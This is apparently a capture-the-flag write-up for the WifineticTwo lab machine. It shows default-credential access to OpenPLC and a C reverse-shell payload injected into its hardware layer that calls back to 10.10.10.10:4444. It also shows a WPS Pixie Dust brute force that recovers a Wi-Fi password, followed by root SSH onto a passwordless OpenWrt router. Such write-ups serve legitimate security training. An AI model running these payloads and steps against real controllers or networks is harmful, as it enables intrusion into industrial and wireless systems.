Machine Card listing WifineticTwo as a medium Linux box

Reconnaissance

PORT      STATE    SERVICE    VERSION
22/tcp    open     ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp  open     http-proxy Werkzeug/1.0.1 Python/2.7.18
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 404 NOT FOUND
|     content-type: text/html; charset=utf-8
|     content-length: 232
|     vary: Cookie
|     set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.ZqKBmQ.qUDLSeFzHfomvzpiKCm1IghzzqI; Expires=Thu, 25-Jul-2024 16:52:21 GMT; HttpOnly; Path=/
|     server: Werkzeug/1.0.1 Python/2.7.18
|     date: Thu, 25 Jul 2024 16:47:21 GMT
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest:
|     HTTP/1.0 302 FOUND
|     content-type: text/html; charset=utf-8
|     content-length: 219
|     location: http://0.0.0.0:8080/login
|     vary: Cookie
|     set-cookie: session=eyJfZnJlc2giOmZhbHNlLCJfcGVybWFuZW50Ijp0cnVlfQ.ZqKBmQ.uQSXzMgZoYsw4f0BaTrSPPgiSzY; Expires=Thu, 25-Jul-2024 16:52:21 GMT; HttpOnly; Path=/
|     server: Werkzeug/1.0.1 Python/2.7.18
|     date: Thu, 25 Jul 2024 16:47:21 GMT
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to target URL: <a href="/login">/login</a>. If not click the link.
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     content-type: text/html; charset=utf-8
|     allow: HEAD, OPTIONS, GET
|     vary: Cookie
|     set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.ZqKBmQ.qUDLSeFzHfomvzpiKCm1IghzzqI; Expires=Thu, 25-Jul-2024 16:52:21 GMT; HttpOnly; Path=/
|     content-length: 0
|     server: Werkzeug/1.0.1 Python/2.7.18
|     date: Thu, 25 Jul 2024 16:47:21 GMT
|   RTSPRequest:
|     HTTP/1.1 400 Bad request
|     content-length: 90
|     cache-control: no-cache
|     content-type: text/html
|     connection: close
|     <html><body><h1>400 Bad request</h1>
|     Your browser sent an invalid request.
|_    </body></html>
|_http-server-header: Werkzeug/1.0.1 Python/2.7.18
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was http://10.129.210.186:8080/login

Two ports 22 and 8080 were identified by nmap and as always I’ll focus first on the HTTP port considering the SSH version is pretty recent1. The HTTP server is based on python 2.7, so definitely a bit outdated since 2.7 is deprecated.

HTTP

The redirect to /login was already identified by nmap and I see a login screen for OpenPLC, an open-source Programmable Logic Controller2. A bit of online research finds the default credentials openplc:openplc3 and those allow me to login.

Login prompt for OpenPLC

After login there’s a dashboard showing the current status Stopped and several sub-menus in the navigation pane. There are no other users configured and apparently no programs availabe besides the Dummy empty program from 2018.

Dashboard displaying the current status and access to several sub-pages

Execution

Even though there is no version mentioned anywhere, a quick online search finds a PoC for a remote code execution.
First the code injects C code for the reverse shell into the hardware layer (/hardware), originally responsible to translating internal PLC Address variables into physical hardware locations4, and then uploads, compile and run a new program. Doing so will use the (compiled) hardware layer and grant me a reverse shell.
Running the code succesfully injects the following code into the Blank Linux hardware layer but fails to compile the uploaded program due to a missing file.

#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
 
 
//-----------------------------------------------------------------------------
 
//-----------------------------------------------------------------------------
int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};
 
//-----------------------------------------------------------------------------
 
//-----------------------------------------------------------------------------
void initCustomLayer()
{
   
    
    
}
 
 
void updateCustomIn()
{
 
}
 
 
void updateCustomOut()
{
    int port = 4444;
    struct sockaddr_in revsockaddr;
 
    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("10.10.10.10");
 
    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);
 
    char * const argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);
 
    return 0;  
    
}

Error message stating the the previous uploaded file was not found and the compilation finished with errors

Since the uploaded program is not actually needed for the reverse shell, I just launch the default Blank Program from /reload-program. This compiles the program without an error and I can start the PLC on the dashboard to receive a shell as root on the box and the first flag within /root.

Screenshot of the Programs view of OpenPLC with the Launch Program button highlighted

Privilege Escalation

The hostname attica01 and the fact that the IP of the box is not mentioned in the output of ip a, lets me believe that I am actually in a container. It also strikes me as odd that there seems to be a wlan0 interface.

ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0@if18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 00:16:3e:fc:91:0c brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.0.3.2/24 brd 10.0.3.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet 10.0.3.52/24 metric 100 brd 10.0.3.255 scope global secondary dynamic eth0
       valid_lft 2749sec preferred_lft 2749sec
    inet6 fe80::216:3eff:fefc:910c/64 scope link 
       valid_lft forever preferred_lft forever
5: wlan0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN group default qlen 1000
    link/ether 02:00:00:00:02:00 brd ff:ff:ff:ff:ff:ff

Scanning for any active wireless networks with iw shows only one, SSID is plcrouter and having WPS enabled and that is vulnerable to a Pixie Dust5 attack.

iw dev wlan0 scan
BSS 02:00:00:00:01:00(on wlan0)
        last seen: 1434.744s [boottime]
        TSF: 1721741011232211 usec (19927d, 13:23:31)
        freq: 2412
        beacon interval: 100 TUs
        capability: ESS Privacy ShortSlotTime (0x0411)
        signal: -30.00 dBm
        last seen: 0 ms ago
        Information elements from Probe Response frame:
        SSID: plcrouter
        Supported rates: 1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0 
        DS Parameter set: channel 1
        ERP: Barker_Preamble_Mode
        Extended supported rates: 24.0 36.0 48.0 54.0 
        RSN:     * Version: 1
                 * Group cipher: CCMP
                 * Pairwise ciphers: CCMP
                 * Authentication suites: PSK
                 * Capabilities: 1-PTKSA-RC 1-GTKSA-RC (0x0000)
        Supported operating classes:
                 * current operating class: 81
        Extended capabilities:
                 * Extended Channel Switching
                 * SSID List
                 * Operating Mode Notification
        WPS:     * Version: 1.0
                 * Wi-Fi Protected Setup State: 2 (Configured)
                 * Response Type: 3 (AP)
                 * UUID: 572cf82f-c957-5653-9b16-b5cfb298abf1
                 * Manufacturer:  
                 * Model:  
                 * Model Number:  
                 * Serial Number:  
                 * Primary Device Type: 0-00000000-0
                 * Device name:  
                 * Config methods: Label, Display, Keypad
                 * Version2: 2.0

There are several tools available to perform such an attack but OneShot.py is neatly contained within a single script and does not require any external dependencies. After transferring the file to the remote host, I execute it to bruteforce the PIN, connect to the router and retrieve the password.

python3 oneshot.py -i wlan0 -b 02:00:00:00:01:00
[*] Running wpa_supplicant…
[*] Running wpa_supplicant…
[*] Trying PIN '12345670'
[*] Scanning…
[*] Authenticating…
[+] Authenticated
[*] Associating with AP…
[+] Associated with 02:00:00:00:01:00 (ESSID: plcrouter)
[*] Received Identity Request
[*] Sending Identity Response…
[*] Received WPS Message M1
[*] Sending WPS Message M2…
[*] Received WPS Message M3
[*] Sending WPS Message M4…
[*] Received WPS Message M5
[+] The first half of the PIN is valid
[*] Sending WPS Message M6…
[*] Received WPS Message M7
[+] WPS PIN: '12345670'
[+] WPA PSK: 'NoWWEDoKnowWhaTisReal123!'
[+] AP SSID: 'plcrouter'

Next I create a configuration file by supplying the SSID and the password NoWWEDoKnowWhaTisReal123! to wpa_passphrase and redirecting it to a file.
Starting wpa_supplicant in the background (-B) and providing it the configuration file (-c) as well as the interface to use (-i). There are some errors due to rfkill not availabe but they’re benign in this case.
The status on the wlan0 changed to UP but no IP address was provided. So I’ll run dhclient to get a new lease from the roouter without applying it to the interface and add the IP manually afterwards.

# Create a configuration file
wpa_passphrase plcrouter 'NoWWEDoKnowWhaTisReal123!' > config
 
# Connect to the access point while running in the background
wpa_supplicant -B -c config -i wlan0
Successfully initialized wpa_supplicant
rfkill: Cannot open RFKILL control device
rfkill: Cannot get wiphy information
 
# Receive a new DHCP lease for the wlan0 interface
dhclient -1 \
         -v \
         -sf /bin/true \
         wlan0
 
Internet Systems Consortium DHCP Client 4.4.1
Copyright 2004-2018 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/
 
Listening on LPF/wlan0/02:00:00:00:03:00
Sending on   LPF/wlan0/02:00:00:00:03:00
Sending on   Socket/fallback
DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 3 (xid=0x5f5bc28)
DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 5 (xid=0x5f5bc28)
DHCPOFFER of 192.168.1.46 from 192.168.1.1
DHCPREQUEST for 192.168.1.46 on wlan0 to 255.255.255.255 port 67 (xid=0x28bcf505)
DHCPACK of 192.168.1.46 from 192.168.1.1 (xid=0x5f5bc28)
bound to 192.168.1.46 -- renewal in 19949 seconds.
 
# Set IP
ip addr add 192.168.1.8/24 dev wlan0

Doing a quick ping sweep across the new subnet finds only two hosts, the router and the host I am currently on.

for i in {1..254};
do 
    $(ping -c1 192.168.1.$i | grep "64 bytes" | cut -d" " -f4 | tr -d ':' >> ips.txt &)
done
tail -f ips.txt
192.168.1.1
192.168.1.8

Repeating the same procedure to find open ports with nc show 22, 53, 80 and 443 open.

for i in {1..1000};
do 
    $(nc -zv 192.168.1.1 $i 2>&1 | grep -q succeeded && echo "$i" >> ports.txt &)
done
tail -f ports.txt
22
53
80
443

Trying to SSH into router as root works right away since there is no password set and I can collect the second flag.

ssh 192.168.1.1
The authenticity of host '192.168.1.1 (192.168.1.1)' can't be established.
ED25519 key fingerprint is SHA256:ZcoOrJ2dytSfHYNwN2vcg6OsZjATPopYMLPVYhczadM.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.1' (ED25519) to the list of known hosts.
 
 
BusyBox v1.36.1 (2023-11-14 13:38:11 UTC) built-in shell (ash)
 
  _______                     ________        __
 |       |.-----.-----.-----.|  |  |  |.----.|  |_
 |   -   ||  _  |  -__|     ||  |  |  ||   _||   _|
 |_______||   __|_____|__|__||________||__|  |____|
          |__| W I R E L E S S   F R E E D O M
 -----------------------------------------------------
 OpenWrt 23.05.2, r23630-842932a63d
 -----------------------------------------------------
=== WARNING! =====================================
There is no root password defined on this device!
Use the "passwd" command to set up a new password
in order to prevent unauthorized SSH logins.
--------------------------------------------------

Hint

An alternate approach: The router is running OpenWRT and the login via HTTP also doesn’t require a password. Within OpenWRT it’s possible to schedule tasks with cron6 by navigating to System Scheduled Tasks.
With the help of chisel a SOCKS5 proxy can be created to access the configuration page. Getting a reverse shell is a bit tricky since the router can only access the 192.168.1.0/24 subnet and the tools available are also very limited, e.g. sh instead of bash, nc without -e flag, …

Attack Path

flowchart TD

subgraph "Initial Access"
    A(Online Research) -->|Default Credentials| B(Acess to OpenPLC)
end 

subgraph "Execution"
    B -->|Modifying Hardware Layer| C(Shell as root within container)
end

subgraph "Privilege Escalation"
    C -->|Bruteforce WPS PIN| D(Connection to WLAN network)
    D -->|Unsecured SSH| E(Access as root on router)
end

Footnotes

  1. OpenSSH on launchpad

  2. OpenPLC

  3. OpenPLC Documentation

  4. Hardware Layers

  5. Pixie Dust Attack

  6. Scheduling tasks with cron